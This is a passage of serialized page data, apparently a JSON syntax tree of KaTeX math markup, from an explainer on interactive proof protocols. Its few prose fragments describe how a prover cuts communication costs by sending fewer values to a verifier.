61},{"className":112060},[6045,23596],[112062,112106],{"type":22,"tag":118,"props":112063,"children":112065},{"className":112064},[6050],[112066,112101],{"type":22,"tag":118,"props":112067,"children":112069},{"className":112068,"style":95172},[6055],[112070],{"type":22,"tag":118,"props":112071,"children":112073},{"style":112072},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[112074,112078],{"type":22,"tag":118,"props":112075,"children":112077},{"className":112076,"style":6065},[6064],[],{"type":22,"tag":118,"props":112079,"children":112081},{"className":112080},[6070,6071,6072,6073],[112082],{"type":22,"tag":118,"props":112083,"children":112085},{"className":112084},[6023,6073],[112086,112091,112096],{"type":22,"tag":118,"props":112087,"children":112089},{"className":112088},[6023,23542,6073],[112090],{"type":28,"value":3613},{"type":22,"tag":118,"props":112092,"children":112094},{"className":112093},[6110,6073],[112095],{"type":28,"value":6084},{"type":22,"tag":118,"props":112097,"children":112099},{"className":112098},[6023,6073],[112100],{"type":28,"value":6026},{"type":22,"tag":118,"props":112102,"children":112104},{"className":112103},[23699],[112105],{"type":28,"value":23702},{"type":22,"tag":118,"props":112107,"children":112109},{"className":112108},[6050],[112110],{"type":22,"tag":118,"props":112111,"children":112114},{"className":112112,"style":112113},[6055],"height:0.2083em;",[112115],{"type":22,"tag":118,"props":112116,"children":112117},{},[],{"type":28,"value":112119}," (the previous claim), we have:",{"type":22,"tag":31,"props":112121,"children":112122},{},[112123],{"type":22,"tag":114,"props":112124,"children":112126},{"className":112125},[5995,5996],[112127],{"type":22,"tag":118,"props":112128,"children":112130},{"className":112129},[6001],[112131],{"type":22,"tag":118,"props":112132,"children":112134},{"className":112133,"ariaHidden":6007},[6006],[112135,112161,112192,112223,112324,112350,112442],{"type":22,"tag":118,"props":112136,"children":112138},{"className":112137},[6012],[112139,112143,112148,112152,112157],{"type":22,"tag":118,"props":112140,"children":112142},{"className":112141,"style":111798},[6017],[],{"type":22,"tag":118,"props":112144,"children":112146},{"className":112145},[6023,23542],[112147],{"type":28,"value":42},{"type":22,"tag":118,"props":112149,"children":112151},{"className":112150,"style":6105},[6104],[],{"type":22,"tag":118,"props":112153,"children":112155},{"className":112154},[6110],[112156],{"type":28,"value":3220},{"type":22,"tag":118,"props":112158,"children":112160},{"className":112159,"style":6105},[6104],[],{"type":22,"tag":118,"props":112162,"children":112164},{"className":112163},[6012],[112165,112169,112174,112179,112183,112188],{"type":22,"tag":118,"props":112166,"children":112168},{"className":112167,"style":6125},[6017],[],{"type":22,"tag":118,"props":112170,"children":112172},{"className":112171},[23671],[112173],{"type":28,"value":540},{"type":22,"tag":118,"props":112175,"children":112177},{"className":112176},[6023,23542],[112178],{"type":28,"value":42},{"type":22,"tag":118,"props":112180,"children":112182},{"className":112181,"style":6105},[6104],[],{"type":22,"tag":118,"props":112184,"children":112186},{"className":112185},[6110],[112187],{"type":28,"value":3220},{"type":22,"tag":118,"props":112189,"children":112191},{"className":112190,"style":6105},[6104],[],{"type":22,"tag":118,"props":112193,"children":112195},{"className":112194},[6012],[112196,112200,112205,112210,112214,112219],{"type":22,"tag":118,"props":112197,"children":112199},{"className":112198,"style":6125},[6017],[],{"type":22,"tag":118,"props":112201,"children":112203},{"className":112202},[6023,23542],[112204],{"type":28,"value":5243},{"type":22,"tag":118,"props":112206,"children":112208},{"className":112207},[23693],[112209],{"type":28,"value":3627},{"type":22,"tag":118,"props":112211,"children":112213},{"className":112212,"style":6202},[6104],[],{"type":22,"tag":118,"props":112215,"children":112217},{"className":112216},[6207],[112218],{"type":28,"value":282},{"type":22,"tag":118,"props":112220,"children":112222},{"className":112221,"style":6202},[6104],[],{"type":22,"tag":118,"props":112224,"children":112226},{"className":112225},[6012],[112227,112231,112302,112306,112310,112316,112320],{"type":22,"tag":118,"props":112228,"children":112230},{"className":112229,"style":112043},[6017],[],{"type":22,"tag":118,"props":112232,"children":112234},{"className":112233},[6023],[112235,112240],{"type":22,"tag":118,"props":112236,"children":112238},{"className":112237,"style":94877},[6023,23542],[112239],{"type":28,"value":94880},{"type":22,"tag":118,"props":112241,"children":112243},{"className":112242},[6040],[112244],{"type":22,"tag":118,"props":112245,"children":112247},{"className":112246},[6045,23596],[112248,112291],{"type":22,"tag":118,"props":112249,"children":112251},{"className":112250},[6050],[112252,112286],{"type":22,"tag":118,"props":112253,"children":112255},{"className":112254,"style":95172},[6055],[112256],{"type":22,"tag":118,"props":112257,"children":112258},{"style":112072},[112259,112263],{"type":22,"tag":118,"props":112260,"children":112262},{"className":112261,"style":6065},[6064],[],{"type":22,"tag":118,"props":112264,"children":112266},{"className":112265},[6070,6071,6072,6073],[112267],{"type":22,"tag":118,"props":112268,"children":112270},{"className":112269},[6023,6073],[112271,112276,112281],{"type":22,"tag":118,"props":112272,"children":112274},{"className":112273},[6023,23542,6073],[112275],{"type":28,"value":3613},{"type":22,"tag":118,"props":112277,"children":112279},{"className":112278},[6110,6073],[112280],{"type":28,"value":6084},{"type":22,"tag":118,"props":112282,"children":112284},{"className":112283},[6023,6073],[112285],{"type":28,"value":6026},{"type":22,"tag":118,"props":112287,"children":112289},{"className":112288},[23699],[112290],{"type":28,"value":23702},{"type":22,"tag":118,"props":112292,"children":112294},{"className":112293},[6050],[112295],{"type":22,"tag":118,"props":112296,"children":112298},{"className":112297,"style":112113},[6055],[112299],{"type":22,"tag":118,"props":112300,"children":112301},{},[],{"type":22,"tag":118,"props":112303,"children":112305},{"className":112304,"style":6202},[6104],[],{"type":22,"tag":118,"props":112307,"children":112309},{"className":112308,"style":6202},[6104],[],{"type":22,"tag":118,"props":112311,"children":112313},{"className":112312},[6207],[112314],{"type":28,"value":112315},"⟹",{"type":22,"tag":118,"props":112317,"children":112319},{"className":112318,"style":6202},[6104],[],{"type":22,"tag":118,"props":112321,"children":112323},{"className":112322,"style":6202},[6104],[],{"type":22,"tag":118,"props":112325,"children":112327},{"className":112326},[6012],[112328,112332,112337,112341,112346],{"type":22,"tag":118,"props":112329,"children":112331},{"className":112330,"style":94558},[6017],[],{"type":22,"tag":118,"props":112333,"children":112335},{"className":112334},[6023,23542],[112336],{"type":28,"value":5243},{"type":22,"tag":118,"props":112338,"children":112340},{"className":112339,"style":6202},[6104],[],{"type":22,"tag":118,"props":112342,"children":112344},{"className":112343},[6207],[112345],{"type":28,"value":282},{"type":22,"tag":118,"props":112347,"children":112349},{"className":112348,"style":6202},[6104],[],{"type":22,"tag":118,"props":112351,"children":112353},{"className":112352},[6012],[112354,112358,112429,112433,112438],{"type":22,"tag":118,"props":112355,"children":112357},{"className":112356,"style":112043},[6017],[],{"type":22,"tag":118,"props":112359,"children":112361},{"className":112360},[6023],[112362,112367],{"type":22,"tag":118,"props":112363,"children":112365},{"className":112364,"style":94877},[6023,23542],[112366],{"type":28,"value":94880},{"type":22,"tag":118,"props":112368,"children":112370},{"className":112369},[6040],[112371],{"type":22,"tag":118,"props":112372,"children":112374},{"className":112373},[6045,23596],[112375,112418],{"type":22,"tag":118,"props":112376,"children":112378},{"className":112377},[6050],[112379,112413],{"type":22,"tag":118,"props":112380,"children":112382},{"className":112381,"style":95172},[6055],[112383],{"type":22,"tag":118,"props":112384,"children":112385},{"style":112072},[112386,112390],{"type":22,"tag":118,"props":112387,"children":112389},{"className":112388,"style":6065},[6064],[],{"type":22,"tag":118,"props":112391,"children":112393},{"className":112392},[6070,6071,6072,6073],[112394],{"type":22,"tag":118,"props":112395,"children":112397},{"className":112396},[6023,6073],[112398,112403,112408],{"type":22,"tag":118,"props":112399,"children":112401},{"className":112400},[6023,23542,6073],[112402],{"type":28,"value":3613},{"type":22,"tag":118,"props":112404,"children":112406},{"className":112405},[6110,6073],[112407],{"type":28,"value":6084},{"type":22,"tag":118,"props":112409,"children":112411},{"className":112410},[6023,6073],[112412],{"type":28,"value":6026},{"type":22,"tag":118,"props":112414,"children":112416},{"className":112415},[23699],[112417],{"type":28,"value":23702},{"type":22,"tag":118,"props":112419,"children":112421},{"className":112420},[6050],[112422],{"type":22,"tag":118,"props":112423,"children":112425},{"className":112424,"style":112113},[6055],[112426],{"type":22,"tag":118,"props":112427,"children":112428},{},[],{"type":22,"tag":118,"props":112430,"children":112432},{"className":112431,"style":6105},[6104],[],{"type":22,"tag":118,"props":112434,"children":112436},{"className":112435},[6110],[112437],{"type":28,"value":6084},{"type":22,"tag":118,"props":112439,"children":112441},{"className":112440,"style":6105},[6104],[],{"type":22,"tag":118,"props":112443,"children":112445},{"className":112444},[6012],[112446,112450,112455],{"type":22,"tag":118,"props":112447,"children":112449},{"className":112448,"style":95674},[6017],[],{"type":22,"tag":118,"props":112451,"children":112453},{"className":112452},[6023],[112454],{"type":28,"value":5147},{"type":22,"tag":118,"props":112456,"children":112458},{"className":112457},[6023,23542],[112459],{"type":28,"value":42},{"type":22,"tag":31,"props":112461,"children":112462},{},[112463,112465,112584,112586,112611],{"type":28,"value":112464},"So the prover only sends ",{"type":22,"tag":114,"props":112466,"children":112468},{"className":112467},[5995,5996],[112469],{"type":22,"tag":118,"props":112470,"children":112472},{"className":112471},[6001],[112473],{"type":22,"tag":118,"props":112474,"children":112476},{"className":112475,"ariaHidden":6007},[6006],[112477,112504],{"type":22,"tag":118,"props":112478,"children":112480},{"className":112479},[6012],[112481,112486,112491,112495,112500],{"type":22,"tag":118,"props":112482,"children":112485},{"className":112483,"style":112484},[6017],"height:0.4306em;",[],{"type":22,"tag":118,"props":112487,"children":112489},{"className":112488},[6023,23542],[112490],{"type":28,"value":42},{"type":22,"tag":118,"props":112492,"children":112494},{"className":112493,"style":6202},[6104],[],{"type":22,"tag":118,"props":112496,"children":112498},{"className":112497},[6207],[112499],{"type":28,"value":282},{"type":22,"tag":118,"props":112501,"children":112503},{"className":112502,"style":6202},[6104],[],{"type":22,"tag":118,"props":112505,"children":112507},{"className":112506},[6012],[112508,112512,112569,112574,112579],{"type":22,"tag":118,"props":112509,"children":112511},{"className":112510,"style":6125},[6017],[],{"type":22,"tag":118,"props":112513,"children":112515},{"className":112514},[6023],[112516,112521],{"type":22,"tag":118,"props":112517,"children":112519},{"className":112518,"style":95129},[6023,23542],[112520],{"type":28,"value":110894},{"type":22,"tag":118,"props":112522,"children":112524},{"className":112523},[6040],[112525],{"type":22,"tag":118,"props":112526,"children":112528},{"className":112527},[6045,23596],[112529,112558],{"type":22,"tag":118,"props":112530,"children":112532},{"className":112531},[6050],[112533,112553],{"type":22,"tag":118,"props":112534,"children":112536},{"className":112535,"style":95172},[6055],[112537],{"type":22,"tag":118,"props":112538,"children":112539},{"style":95176},[112540,112544],{"type":22,"tag":118,"props":112541,"children":112543},{"className":112542,"style":6065},[6064],[],{"type":22,"tag":118,"props":112545,"children":112547},{"className":112546},[6070,6071,6072,6073],[112548],{"type":22,"tag":118,"props":112549,"children":112551},{"className":112550},[6023,23542,6073],[112552],{"type":28,"value":3613},{"type":22,"tag":118,"props":112554,"children":112556},{"className":112555},[23699],[112557],{"type":28,"value":23702},{"type":22,"tag":118,"props":112559,"children":112561},{"className":112560},[6050],[112562],{"type":22,"tag":118,"props":112563,"children":112565},{"className":112564,"style":94726},[6055],[112566],{"type":22,"tag":118,"props":112567,"children":112568},{},[],{"type":22,"tag":118,"props":112570,"children":112572},{"className":112571},[23671],[112573],{"type":28,"value":540},{"type":22,"tag":118,"props":112575,"children":112577},{"className":112576},[6023],[112578],{"type":28,"value":6036},{"type":22,"tag":118,"props":112580,"children":112582},{"className":112581},[23693],[112583],{"type":28,"value":3627},{"type":28,"value":112585},", and the verifier recovers ",{"type":22,"tag":114,"props":112587,"children":112589},{"className":112588},[5995,5996],[112590],{"type":22,"tag":118,"props":112591,"children":112593},{"className":112592},[6001],[112594],{"type":22,"tag":118,"props":112595,"children":112597},{"className":112596,"ariaHidden":6007},[6006],[112598],{"type":22,"tag":118,"props":112599,"children":112601},{"className":112600},[6012],[112602,112606],{"type":22,"tag":118,"props":112603,"children":112605},{"className":112604,"style":94558},[6017],[],{"type":22,"tag":118,"props":112607,"children":112609},{"className":112608},[6023,23542],[112610],{"type":28,"value":5243},{"type":28,"value":112612},". This saves 50% on communication costs.",{"type":22,"tag":31,"props":112614,"children":112615},{},[112616],{"type":28,"value":112617},"The next claim in the chain is",{"type":22,"tag":31,"props":112619,"children":112620},{},[112621],{"type":22,"tag":114,"props":112622,"children":112624},{"className":112623},[5995,5996],[112625],{"type":22,"tag":118,"props":112626,"children":112628},{"className":112627},[6001],[112629],{"type":22,"tag":118,"props":112630,"children":112632},{"className":112631,"ariaHidden":6007},[6006],[112633,112712,112857,112883,112910,112988,113014,113111,113147,113225,113261,113349,113441],{"type":22,"tag":118,"props":112634,"children":112636},{"className":112635},[6012],[112637,112642,112699,112703,112708],{"type":22,"tag":118,"props":112638,"children":112641},{"className":112639,"style":112640},[6017],"height:0.8333em;vertical-align:-0.15em;",[],{"type":22,"tag":118,"props":112643,"children":112645},{"className":112644},[6023],[112646,112651],{"type":22,"tag":118,"props":112647,"children":112649},{"className":112648,"style":94877},[6023,23542],[112650],{"type":28,"value":94880},{"type":22,"tag":118,"props":112652,"children":112654},{"className":112653},[6040],[112655],{"type":22,"tag":118,"props":112656,"children":112658},{"className":112657},[6045,23596],[112659,112688],{"type":22,"tag":118,"props":112660,"children":112662},{"className":112661},[6050],[112663,112683],{"type":22,"tag":118,"props":112664,"children":112666},{"className":112665,"style":95172},[6055],[112667],{"type":22,"tag":118,"props":112668,"children":112669},{"style":112072},[112670,112674],{"type":22,"tag":118,"props":112671,"children":112673},{"className":112672,"style":6065},[6064],[],{"type":22,"tag":118,"props":112675,"children":112677},{"className":112676},[6070,6071,6072,6073],[112678],{"type":22,"tag":118,"props":112679,"children":112681},{"className":112680},[6023,23542,6073],[112682],{"type":28,"value":3613},{"type":22,"tag":118,"props":112684,"children":112686},{"className":112685},[23699],[112687],{"type":28,"value":23702},{"type":22,"tag":118,"props":112689,"children":112691},{"className":112690},[6050],[112692],{"type":22,"tag":118,"props":112693,"children":112695},{"className":112694,"style":94726},[6055],[112696],{"type":22,"tag":118,"props":112697,"children":112698},{},[],{"type":22,"tag":118,"props":112700,"children":112702},{"className":112701,"style":6202},[6104],[],{"type":22,"tag":118,"props":112704,"children":112706},{"className":112705},[6207],[112707],{"type":28,"value":282},{"type":22,"tag":118,"props":112709,"children":112711},{"className":112710,"style":6202},[6104],[],{"type":22,"tag":118,"props":112713,"children":112715},{"className":112714},[6012],[112716,112720,112777,112782,112839,112844,112848,112853],{"type":22,"tag":118,"props":112717,"children":112719},{"className":112718,"style":6125},[6017],[],{"type":22,"tag":118,"props":112721,"children":112723},{"className":112722},[6023],[112724,112729],{"type":22,"tag":118,"props":112725,"children":112727},{"className":112726,"style":95129},[6023,23542],[112728],{"type":28,"value":110894},{"type":22,"tag":118,"props":112730,"children":112732},{"className":112731},[6040],[112733],{"type":22,"tag":118,"props":112734,"children":112736},{"className":112735},[6045,23596],[112737,112766],{"type":22,"tag":118,"props":112738,"children":112740},{"className":112739},[6050],[112741,112761],{"type":22,"tag":118,"props":112742,"children":112744},{"className":112743,"style":95172},[6055],[112745],{"type":22,"tag":118,"props":112746,"children":112747},{"style":95176},[112748,112752],{"type":22,"tag":118,"props":112749,"children":112751},{"className":112750,"style":6065},[6064],[],{"type":22,"tag":118,"props":112753,"children":112755},{"className":112754},[6070,6071,6072,6073],[112756],{"type":22,"tag":118,"props":112757,"children":112759},{"className":112758},[6023,23542,6073],[112760],{"type":28,"value":3613},{"type":22,"tag":118,"props":112762,"children":112764},{"className":112763},[23699],[112765],{"type":28,"value":23702},{"type":22,"tag":118,"props":112767,"children":112769},{"className":112768},[6050],[112770],{"type":22,"tag":118,"props":112771,"children":112773},{"className":112772,"style":94726},[6055],[112774],{"type":22,"tag":118,"props":112775,"children":112776},{},[],{"type":22,"tag":118,"props":112778,"children":112780},{"className":112779},[23671],[112781],{"type":28,"value":540},{"type":22,"tag":118,"props":112783,"children":112785},{"className":112784},[6023],[112786,112791],{"type":22,"tag":118,"props":112787,"children":112789},{"className":112788,"style":94643},[6023,23542],[112790],{"type":28,"value":95462},{"type":22,"tag":118,"props":112792,"children":112794},{"className":112793},[6040],[112795],{"type":22,"tag":118,"props":112796,"children":112798},{"className":112797},[6045,23596],[112799,112828],{"type":22,"tag":118,"props":112800,"children":112802},{"className":112801},[6050],[112803,112823],{"type":22,"tag":118,"props":112804,"children":112806},{"className":112805,"style":95172},[6055],[112807],{"type":22,"tag":118,"props":112808,"children":112809},{"style":111642},[112810,112814],{"type":22,"tag":118,"props":112811,"children":112813},{"className":112812,"style":6065},[6064],[],{"type":22,"tag":118,"props":112815,"children":112817},{"className":112816},[6070,6071,6072,6073],[112818],{"type":22,"tag":118,"props":112819,"children":112821},{"className":112820},[6023,23542,6073],[112822],{"type":28,"value":3613},{"type":22,"tag":118,"props":112824,"children":112826},{"className":112825},[23699],[112827],{"type":28,"value":23702},{"type":22,"tag":118,"props":112829,"children":112831},{"className":112830},[6050],[112832],{"type":22,"tag":118,"props":112833,"children":112835},{"className":112834,"style":94726},[6055],[112836],{"type":22,"tag":118,"props":112837,"children":112838},{},[],{"type":22,"tag":118,"props":112840,"children":112842},{"className":112841},[23693],[112843],{"type":28,"value":3627},{"type":22,"tag":118,"props":112845,"children":112847},{"className":112846,"style":6202},[6104],[],{"type":22,"tag":118,"props":112849,"children":112851},{"className":112850},[6207],[112852],{"type":28,"value":282},{"type":22,"tag":118,"props":112854,"children":112856},{"className":112855,"style":6202},[6104],[],{"type":22,"tag":118,"props":112858,"children":112860},{"className":112859},[6012],[112861,112865,112870,112874,112879],{"type":22,"tag":118,"props":112862,"children":112864},{"className":112863,"style":111798},[6017],[],{"type":22,"tag":118,"props":112866,"children":112868},{"className":112867},[6023,23542],[112869],{"type":28,"value":42},{"type":22,"tag":118,"props":112871,"children":112873},{"className":112872,"style":6105},[6104],[],{"type":22,"tag":118,"props":112875,"children":112877},{"className":112876},[6110],[112878],{"type":28,"value":3220},{"type":22,"tag":118,"props":112880,"children":112882},{"className":112881,"style":6105},[6104],[],{"type":22,"tag":118,"props":112884,"children":112886},{"className":112885},[6012],[112887,112891,112896,112900,112906],{"type":22,"tag":118,"props":112888,"children":112890},{"className":112889,"style":94558},[6017],[],{"type":22,"tag":118,"props":112892,"children":112894},{"className":112893},[6023,23542],[112895],{"type":28,"value":5243},{"type":22,"tag":118,"props":112897,"children":112899},{"className":112898,"style":6105},[6104],[],{"type":22,"tag":118,"props":112901,"children":112903},{"className":112902},[6110],[112904],{"type":28,"value":112905},"⋅",{"type":22,"tag":118,"props":112907,"children":112909},{"className":112908,"style":6105},[6104],[],{"type":22,"tag":118,"props":112911,"children":112913},{"className":112912},[6012],[112914,112918,112975,112979,112984],{"type":22,"tag":118,"props":112915,"children":112917},{"className":112916,"style":111613},[6017],[],{"type":22,"tag":118,"props":112919,"children":112921},{"className":112920},[6023],[112922,112927],{"type":22,"tag":118,"props":112923,"children":112925},{"className":112924,"style":94643},[6023,23542],[112926],{"type":28,"value":95462},{"type":22,"tag":118,"props":112928,"children":112930},{"className":112929},[6040],[112931],{"type":22,"tag":118,"props":112932,"children":112934},{"className":112933},[6045,23596],[112935,112964],{"type":22,"tag":118,"props":112936,"children":112938},{"className":112937},[6050],[112939,112959],{"type":22,"tag":118,"props":112940,"children":112942},{"className":112941,"style":95172},[6055],[112943],{"type":22,"tag":118,"props":112944,"children":112945},{"style":111642},[112946,112950],{"type":22,"tag":118,"props":112947,"children":112949},{"className":112948,"style":6065},[6064],[],{"type":22,"tag":118,"props":112951,"children":112953},{"className":112952},[6070,6071,6072,6073],[112954],{"type":22,"tag":118,"props":112955,"children":112957},{"className":112956},[6023,23542,6073],[112958],{"type":28,"value":3613},{"type":22,"tag":118,"props":112960,"children":112962},{"className":112961},[23699],[112963],{"type":28,"value":23702},{"type":22,"tag":118,"props":112965,"children":112967},{"className":112966},[6050],[112968],{"type":22,"tag":118,"props":112969,"children":112971},{"className":112970,"style":94726},[6055],[112972],{"type":22,"tag":118,"props":112973,"children":112974},{},[],{"type":22,"tag":118,"props":112976,"children":112978},{"className":112977,"style":6202},[6104],[],{"type":22,"tag":118,"props":112980,"children":112982},{"className":112981},[6207],[112983],{"type":28,"value":282},{"type":22,"tag":118,"props":112985,"children":112987},{"className":112986,"style":6202},[6104],[],{"type":22,"tag":118,"props":112989,"children":112991},{"className":112990},[6012],[112992,112996,113001,113005,113010],{"type":22,"tag":118,"props":112993,"children":112995},{"className":112994,"style":111798},[6017],[],{"type":22,"tag":118,"props":112997,"children":112999},{"className":112998},[6023,23542],[113000],{"type":28,"value":42},{"type":22,"tag":118,"props":113002,"children":113004},{"className":113003,"style":6105},[6104],[],{"type":22,"tag":118,"props":113006,"children":113008},{"className":113007},[6110],[113009],{"type":28,"value":3220},{"type":22,"tag":118,"props":113011,"children":113013},{"className":113012,"style":6105},[6104],[],{"type":22,"tag":118,"props":113015,"children":113017},{"className":113016},[6012],[113018,113022,113027,113098,113102,113107],{"type":22,"tag":118,"props":113019,"children":113021},{"className":113020,"style":6125},[6017],[],{"type":22,"tag":118,"props":113023,"children":113025},{"className":113024},[23671],[113026],{"type":28,"value":540},{"type":22,"tag":118,"props":113028,"children":113030},{"className":113029},[6023],[113031,113036],{"type":22,"tag":118,"props":113032,"children":113034},{"className":113033,"style":94877},[6023,23542],[113035],{"type":28,"value":94880},{"type":22,"tag":118,"props":113037,"children":113039},{"className":113038},[6040],[113040],{"type":22,"tag":118,"props":113041,"children":113043},{"className":113042},[6045,23596],[113044,113087],{"type":22,"tag":118,"props":113045,"children":113047},{"className":113046},[6050],[113048,113082],{"type":22,"tag":118,"props":113049,"children":113051},{"className":113050,"style":95172},[6055],[113052],{"type":22,"tag":118,"props":113053,"children":113054},{"style":112072},[113055,113059],{"type":22,"tag":118,"props":113056,"children":113058},{"className":113057,"style":6065},[6064],[],{"type":22,"tag":118,"props":113060,"children":113062},{"className":113061},[6070,6071,6072,6073],[113063],{"type":22,"tag":118,"props":113064,"children":113066},{"className":113065},[6023,6073],[113067,113072,113077],{"type":22,"tag":118,"props":113068,"children":113070},{"className":113069},[6023,23542,6073],[113071],{"type":28,"value":3613},{"type":22,"tag":118,"props":113073,"children":113075},{"className":113074},[6110,6073],[113076],{"type":28,"value":6084},{"type":22,"tag":118,"props":113078,"children":113080},{"className":113079},[6023,6073],[113081],{"type":28,"value":6026},{"type":22,"tag":118,"props":113083,"children":113085},{"className":113084},[23699],[113086],{"type":28,"value":23702},{"type":22,"tag":118,"props":113088,"children":113090},{"className":113089},[6050],[113091],{"type":22,"tag":118,"props":113092,"children":113094},{"className":113093,"style":112113},[6055],[113095],{"type":22,"tag":118,"props":113096,"children":113097},{},[],{"type":22,"tag":118,"props":113099,"children":113101},{"className":113100,"style":6105},[6104],[],{"type":22,"tag":118,"props":113103,"children":113105},{"className":113104},[6110],[113106],{"type":28,"value":6084},{"type":22,"tag":118,"props":113108,"children":113110},{"className":113109,"style":6105},[6104],[],{"type":22,"tag":118,"props":113112,"children":113114},{"className":113113},[6012],[113115,113119,113124,113129,113134,113138,113143],{"type":22,"tag":118,"props":113116,"children":113118},{"className":113117,"style":6125},[6017],[],{"type":22,"tag":118,"props":113120,"children":113122},{"className":113121},[6023],[113123],{"type":28,"value":5147},{"type":22,"tag":118,"props":113125,"children":113127},{"className":113126},[6023,23542],[113128],{"type":28,"value":42},{"type":22,"tag":118,"props":113130,"children":113132},{"className":113131},[23693],[113133],{"type":28,"value":3627},{"type":22,"tag":118,"props":113135,"children":113137},{"className":113136,"style":6105},[6104],[],{"type":22,"tag":118,"props":113139,"children":113141},{"className":113140},[6110],[113142],{"type":28,"value":112905},{"type":22,"tag":118,"props":113144,"children":113146},{"className":113145,"style":6105},[6104],[],{"type":22,"tag":118,"props":113148,"children":113150},{"className":113149},[6012],[113151,113155,113212,113216,113221],{"type":22,"tag":118,"props":113152,"children":113154},{"className":113153,"style":111613},[6017],[],{"type":22,"tag":118,"props":113156,"children":113158},{"className":113157},[6023],[113159,113164],{"type":22,"tag":118,"props":113160,"children":113162},{"className":113161,"style":94643},[6023,23542],[113163],{"type":28,"value":95462},{"type":22,"tag":118,"props":113165,"children":113167},{"className":113166},[6040],[113168],{"type":22,"tag":118,"props":113169,"children":113171},{"className":113170},[6045,23596],[113172,113201],{"type":22,"tag":118,"props":113173,"children":113175},{"className":113174},[6050],[113176,113196],{"type":22,"tag":118,"props":113177,"children":113179},{"className":113178,"style":95172},[6055],[113180],{"type":22,"tag":118,"props":113181,"children":113182},{"style":111642},[113183,113187],{"type":22,"tag":118,"props":113184,"children":113186},{"className":113185,"style":6065},[6064],[],{"type":22,"tag":118,"props":113188,"children":113190},{"className":113189},[6070,6071,6072,6073],[113191],{"type":22,"tag":118,"props":113192,"children":113194},{"className":113193},[6023,23542,6073],[113195],{"type":28,"value":3613},{"type":22,"tag":118,"props":113197,"children":113199},{"className":113198},[23699],[113200],{"type":28,"value":23702},{"type":22,"tag":118,"props":113202,"children":113204},{"className":113203},[6050],[113205],{"type":22,"tag":118,"props":113206,"children":113208},{"className":113207,"style":94726},[6055],[113209],{"type":22,"tag":118,"props":113210,"children":113211},{},[],{"type":22,"tag":118,"props":113213,"children":113215},{"className":113214,"style":6202},[6104],[],{"type":22,"tag":118,"props":113217,"children":113219},{"className":113218},[6207],[113220],{"type":28,"value":282},{"type":22,"tag":118,"props":113222,"children":113224},{"className":113223,"style":6202},[6104],[],{"type":22,"tag":118,"props":113226,"children":113228},{"className":113227},[6012],[113229,113233,113238,113243,113248,113252,113257],{"type":22,"tag":118,"props":113230,"children":113232},{"className":113231,"style":6125},[6017],[],{"type":22,"tag":118,"props":113234,"children":113236},{"className":113235},[6023,23542],[113237],{"type":28,"value":42},{"type":22,"tag":118,"props":113239,"children":113241},{"className":113240},[23671],[113242],{"type":28,"value":540},{"type":22,"tag":118,"props":113244,"children":113246},{"className":113245},[6023],[113247],{"type":28,"value":6026},{"type":22,"tag":118,"props":113249,"children":113251},{"className":113250,"style":6105},[6104],[],{"type":22,"tag":118,"props":113253,"children":113255},{"className":113254},[6110],[113256],{"type":28,"value":6084},{"type":22,"tag":118,"props":113258,"children":113260},{"className":113259,"style":6105},[6104],[],{"type":22,"tag":118,"props":113262,"children":113264},{"className":113263},[6012],[113265,113269,113274,113331,113336,113340,113345],{"type":22,"tag":118,"props":113266,"children":113268},{"className":113267,"style":6125},[6017],[],{"type":22,"tag":118,"props":113270,"children":113272},{"className":113271},[6023],[113273],{"type":28,"value":5147},{"type":22,"tag":118,"props":113275,"children":113277},{"className":113276},[6023],[113278,113283],{"type":22,"tag":118,"props":113279,"children":113281},{"className":113280,"style":94643},[6023,23542],[113282],{"type":28,"value":95462},{"type":22,"tag":118,"props":113284,"children":113286},{"className":113285},[6040],[113287],{"type":22,"tag":118,"props":113288,"children":113290},{"className":113289},[6045,23596],[113291,113320],{"type":22,"tag":118,"props":113292,"children":113294},{"className":113293},[6050],[113295,113315],{"type":22,"tag":118,"props":113296,"children":113298},{"className":113297,"style":95172},[6055],[113299],{"type":22,"tag":118,"props":113300,"children":113301},{"style":111642},[113302,113306],{"type":22,"tag":118,"props":113303,"children":113305},{"className":113304,"style":6065},[6064],[],{"type":22,"tag":118,"props":113307,"children":113309},{"className":113308},[6070,6071,6072,6073],[113310],{"type":22,"tag":118,"props":113311,"children":113313},{"className":113312},[6023,23542,6073],[113314],{"type":28,"value":3613},{"type":22,"tag":118,"props":113316,"children":113318},{"className":113317},[23699],[113319],{"type":28,"value":23702},{"type":22,"tag":118,"props":113321,"children":113323},{"className":113322},[6050],[113324],{"type":22,"tag":118,"props":113325,"children":113327},{"className":113326,"style":94726},[6055],[113328],{"type":22,"tag":118,"props":113329,"children":113330},{},[],{"type":22,"tag":118,"props":113332,"children":113334},{"className":113333},[23693],[113335],{"type":28,"value":3627},{"type":22,"tag":118,"props":113337,"children":113339},{"className":113338,"style":6105},[6104],[],{"type":22,"tag":118,"props":113341,"children":113343},{"className":113342},[6110],[113344],{"type":28,"value":3220},{"type":22,"tag":118,"props":113346,"children":113348},{"className":113347,"style":6105},[6104],[],{"type":22,"tag":118,"props":113350,"children":113352},{"className":113351},[6012],[113353,113357,113428,113432,113437],{"type":22,"tag":118,"props":113354,"children":113356},{"className":113355,"style":112043},[6017],[],{"type":22,"tag":118,"props":113358,"children":113360},{"className":113359},[6023],[113361,113366],{"type":22,"tag":118,"props":113362,"children":113364},{"className":113363,"style":94877},[6023,23542],[113365],{"type":28,"value":94880},{"type":22,"tag":118,"props":113367,"children":113369},{"className":113368},[6040],[113370],{"type":22,"tag":118,"props":113371,"children":113373},{"className":113372},[6045,23596],[113374,113417],{"type":22,"tag":118,"props":113375,"children":113377},{"className":113376},[6050],[113378,113412],{"type":22,"tag":118,"props":113379,"children":113381},{"className":113380,"style":95172},[6055],[113382],{"type":22,"tag":118,"props":113383,"children":113384},{"style":112072},[113385,113389],{"type":22,"tag":118,"props":113386,"children":113388},{"className":113387,"style":6065},[6064],[],{"type":22,"tag":118,"props":113390,"children":113392},{"className":113391},[6070,6071,6072,6073],[113393],{"type":22,"tag":118,"props":113394,"children":113396},{"className":113395},[6023,6073],[113397,113402,113407],{"type":22,"tag":118,"props":113398,"children":113400},{"className":113399},[6023,23542,6073],[113401],{"type":28,"value":3613},{"type":22,"tag":118,"props":113403,"children":113405},{"className":113404},[6110,6073],[113406],{"type":28,"value":6084},{"type":22,"tag":118,"props":113408,"children":113410},{"className":113409},[6023,6073],[113411],{"type":28,"value":6026},{"type":22,"tag":118,"props":113413,"children":113415},{"className":113414},[23699],[113416],{"type":28,"value":23702},{"type":22,"tag":118,"props":113418,"children":113420},{"className":113419},[6050],[113421],{"type":22,"tag":118,"props":113422,"children":113424},{"className":113423,"style":112113}